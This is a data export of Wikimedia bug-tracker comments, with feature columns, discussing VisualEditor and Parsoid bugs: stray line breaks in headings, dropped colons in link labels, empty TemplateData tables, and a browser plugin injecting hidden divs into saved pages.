+248620,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Also reported at http://mr.wikipedia.org/w/index.php?title=%E0%A4%9F%E0%A4%BE%E0%A4%95%E0%A4%A3%E0%A4%95%E0%A4%BE%E0%A4%B0_(%E0%A4%B8%E0%A4%AE%E0%A4%BE%E0%A4%9C)&curid=66935&diff=1193242&oldid=1193112 .,,,1375704033,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+248612,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,*** Bug 52021 has been marked as a duplicate of this bug. ***,,,1374767614,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+248608,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"AzaToth made a screencast at http://youtu.be/G_xXETTVgO0 showing the issue.
+
+Gwicke filed bug 50683 on the parsoid side -- we shouldn't allow newlines in a heading when we serialize to wikitext.
+
+But there's still a VE issue -- where is the ↵ coming from (visible in AzaToth's screencast).  VE shouldn't be putting the newline inside the heading.",,,1373987836,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+248602,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"See also https://www.mediawiki.org/w/index.php?title=User%3AGWicke&diff=723931&oldid=655405
+
+So the <!-- ... --> comment doesn't seem to have anything to do with it.",,,1373987078,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,2,,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1
+53442,Leading colon in link label is wrongly removed from wikitext,"```
+[subbu@earth:~/work/wmf/parsoid] echo '<a rel=""mw:WikiLink"" href=""./Foobar"">:foobar</a>' | php bin/parse.php --html2wt
+[[:foobar]]
+
+[subbu@earth:~/work/wmf/parsoid] echo '<a rel=""mw:WikiLink"" href=""./Foobar"">:foobar</a>' | php bin/parse.php --html2html --body_only
+<p data-parsoid='{""dsr"":[0,11,0,0]}'><a rel=""mw:WikiLink"" href=""./Foobar"" title=""Foobar"" data-parsoid='{""stx"":""simple"",""a"":{""href"":""./Foobar""},""sa"":{""href"":"":foobar""},""dsr"":[0,11,2,2]}'>foobar</a></p>
+```",Low,25.0,1373984340,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_description,open,True,c1,3,False,False,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1
+248516,Leading colon in link label is wrongly removed from wikitext,"(In reply to comment #11)
+> My point is mainly that VE could easily understand when the punctuation is
+> added by mistake, because the label and the target link will be different. So
+> if the target does not feature a punctuation mark, but the label does, that
+> was probably not wanted. 
+
+Unfortunately we have to handle the case when it was intentional, so we can't just blindly auto-correct it. Also the definition of what is punctuation becomes much more complex when you are dealing with thousands of languages.",,,1379678052,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+248512,Leading colon in link label is wrongly removed from wikitext,"This is a Parsoid bug (the colon part, at least):
+
+<a rel=""mw:WikiLink"" href=""./Foobar"">:foobar</a>
+
+serialises to:
+
+[[:foobar]]
+
+which converts back to
+
+<a rel=""mw:WikiLink"" href=""./Foobar"">foobar</a>",,,1379677931,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1
+248507,Leading colon in link label is wrongly removed from wikitext,"I am leaving aside the semicolon issue, covered elsewhere.
+About what I reported in Comment 5:
+
+1) Type "":foobar""
+2) select all of this, from the colon (included) to the final r
+3) click on the linking tool, and make this a link to the article ""foobar""
+4) save.
+*outcome: the colon is included in the link; the link is working but the colon is invisible (and I think this is certainly not desirable).
+
+Please note that this also happens to "": foobar"", that is, if the colon and the typed word are separated by a space.
+
+
+1) Type ""foobar:""
+2) select all of this, from the f to the colon, including it
+3) click on the linking tool, and make this a link to ""foobar""
+4) save.
+*outcome: the colon is included in the link, it is visible, the link works fine (and I think this is not good code).
+
+Please note that when a piped link is created instead (for example if foobar is a link to Foobar2000), the colons will be part of the link in every case and they will all be visible.
+
+My point is mainly that VE could easily understand when the punctuation is added by mistake, because the label and the target link will be different. So if the target does not feature a punctuation mark, but the label does, that was probably not wanted. 
+
+HTH.",,,1379619273,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+248500,Leading colon in link label is wrongly removed from wikitext,"This is indeed reproducable, and not just with semi-colons, but it is not this bug. I've reported it separately as bug 54332 including how to reproduce it.",,,1379606034,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+248495,Leading colon in link label is wrongly removed from wikitext,Can you leave some step-by-step instructions to reproduce the bug for clarification?,,,1379604129,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+248491,Leading colon in link label is wrongly removed from wikitext,"About semicolons, we got another feedback that I managed to reproduce, see https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=573644513&oldid=573644268 .
+I wrote French; and turned that into a wikilink, including the semicolon.
+Then I added some text between the end of the word and the semicolon. The result is that we now have two wikilinks to the same word, and a nowiki tag in the middle.",,,1379599394,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+248486,Leading colon in link label is wrongly removed from wikitext,"Yes Ed, in both cases I selected the colon and the word and then used the link tool. I know that you can get the first result also in the source editor, but the second one definitely does not produce a working link with the source editor, and anyway I was not really sure if it makes sense having a wikilink which includes a colon and then makes it invisible. If you think none of these behaviours should be prevented or worked on anyway, please just re-close this. Thanks.",,,1379512496,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+248481,Leading colon in link label is wrongly removed from wikitext,"Can you explain how those cases were created. From what I can see colons don't extend link annotations, but if you select over a colon and use the link tool you're going to end up with weird stuff like that anyway.",,,1379507908,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+248475,Leading colon in link label is wrongly removed from wikitext,"I am reopening this since I noticed that colons at least still get included in the links: here https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=573483719&oldid=573483114 the line beginning with ""Performance problems: VisualEditor"" has the colon included in the wikilink of the lattest word; the link works fine but you don't get to see the colon at all.
+https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=573483774 Here instead it is included in the wikilink to Issues, and I am not sure it's desirable either. Thanks.",,,1379507107,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0
+248468,Leading colon in link label is wrongly removed from wikitext,"(In reply to comment #3)
+> Links are no longer getting extended automatically when any text is added at
+> the end, including commas, semicolons, etc. Possibly a result of the fix for
+> bug 51463
+
+Indeed, this was fixed in that.",,,1377830517,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1
+248461,Leading colon in link label is wrongly removed from wikitext,"Links are no longer getting extended automatically when any text is added at the end, including commas, semicolons, etc. Possibly a result of the fix for bug 51463",,,1377448214,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,7,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1
+248455,Leading colon in link label is wrongly removed from wikitext,"(In reply to comment #1)
+> instead of just the former (perhaps some kind of inline block wrapper around
+> the link, e.g. like Apple does in Mail and Calendar when text contains a
+> reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a
+> rounded bubble around it when hovered and the cursor can be placed inside or
+> outside the bubble.
+
+)
+
+http://xkcd.com/859/",,,1373984998,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+1505515,Leading colon in link label is wrongly removed from wikitext,"I don't think we should explicitly disallow such symbol to be used in the label (might lead to other strange side-effects and inconsistencies).
+
+However it does give another use case for bug 51438 (T55973). Having a better way to edit the label might reduce the cases where this happens. Perhaps we could make it possible to put the cursor inside the link (after the last character) and outside the link.
+
+So that one can be in either of these positions:
+
+ * Foo <a>bar|</a>
+ * Foo <a>bar</a>|
+
+instead of just the former (perhaps some kind of inline block wrapper around the link, e.g. like Apple does in Mail and Calendar when text contains a reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a rounded bubble around it when hovered and the cursor can be placed inside or outside the bubble.",,,1589732305,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,358,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+248447,Leading colon in link label is wrongly removed from wikitext,"I don't think we should explicitly disallow such symbol to be used in the label (might lead to other strange side-effects and inconsistencies).
+
+However it does give another use case for bug 51438. Having a better way to edit the label might reduce the cases where this happens. Perhaps we could make it possible to put the cursor inside the link (after the last character) and outside the link.
+
+So that one can be in either of these positions:
+
+ * Foo <a>bar|</a>
+ * Foo <a>bar</a>|
+
+instead of just the former (perhaps some kind of inline block wrapper around the link, e.g. like Apple does in Mail and Calendar when text contains a reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a rounded bubble around it when hovered and the cursor can be placed inside or outside the bubble.",,,1373984857,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+53429,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"Currently, if you use TemplateData for a template without any parameters, you still have to create an empty ""params"" in the JSON (not really important), but you also end up with a ""Template parameters"" table with just the title line (Parameter	Description	Type	Default	Status).
+
+Rather than displaying an empty table, I think it would be better to display no table at all, or a simple message saying that no parameters are defined for this template.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1373960160,1424310501.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+416201,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"The fix in beta:
+ {F45817}
+
+vs test2:  
+{F45819}",,,1424732585,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,True,,,86,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+413899,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"Change 191518 merged by jenkins-bot:
+Display a message when no parameters are defined
+
+[[https://gerrit.wikimedia.org/r/191518]]",,,1424310514,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,False,,,85,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+413889,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"Change 191518 had a related patch set uploaded (by Mooeypoo):
+Display a message when no parameters are defined
+
+[[https://gerrit.wikimedia.org/r/191518]]
+
+#patch-for-review",,,1424308343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,False,,,85,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+400091,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"It would also be useful if you could set ""no parameters"" in the TemplateData so that VisualEditor does not suggest adding a parameter for these templates.",,,1421330757,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,False,,,80,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+247701,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,*** Bug 62417 has been marked as a duplicate of this bug. ***,,,1398711170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,True,,,43,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53423,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Seeing this more often now with VE and think it may be a couple different issues (not all on our side) but want to see what we can do to stop it and or lessen impact. This is currently being added to the security queue because I'm a bit concerned about some of the symptoms and worry it could be an injection vulnerability (see below). If we rule out a security concern I'm obviously happy with it being moved.
+
+Editors are making a normal edit and div's are being inserted like 
+
+<div id=""myEventWatcherDiv"" style=""display:none;""></div>
+
+often at the start and end of the page. 
+
+Googling around it seems they may be inserted by a common 3rd party plugin (divX?) but it is in no way clear. It also seems to be interacting weirdly with VE because it isn't only being inserted it's inserting WITHOUT <nowiki> tags which is what you'd expect if someone put a div in (see https://en.wikipedia.org/w/index.php?title=User:Jalexander/sandbox&diff=564465081&oldid=553572859 ). Could it be being injected somehow around VE and/or parser? 
+
+Examples:
+https://en.wikipedia.org/w/index.php?title=Spank!_The_Fifty_Shades_Parody&diff=prev&oldid=564448990
+http://en.wikipedia.org/w/index.php?title=Kendra_Morris&diff=prev&oldid=564426900
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51521",Low,25.0,1373954100,1427403001.0,PHID-USER-f6l3bchko2ogbi4poj24,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_description,resolved,True,c1,3,False,False,False,2,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+433599,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",">>! In T53423#1031831, @Aklapper wrote:
+> This task has #VE-deploy-2014-10-02 but is still open. Should this be retargetted?
+
+No.",,,1427402641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,90,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1
+410029,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",This task has #VE-deploy-2014-10-02 but is still open. Should this be retargetted?,,,1423677807,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,84,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+247434,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Still seems to be happening, e.g. https://fr.wikipedia.org/?diff=108255165",,,1413485794,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,67,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+247430,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Change 163961 merged by jenkins-bot:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412114007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+247428,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Change 163961 had a related patch set uploaded by Alex Monk:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412113155,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+247424,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Has anyone here managed to actually get this to happen in their browser yet? James tried the DivX plugin in Safari on his Mac and couldn't get it to insert the bad content.,,,1407403424,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,57,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+247420,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #16)
+> Sorry meant http://en.wikipedia.org/wiki/Special:AbuseFilter/345
+
+Thanks - though we should probably silently remove on save inside VisualEditor, like Inez suggests.",,,1380214635,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
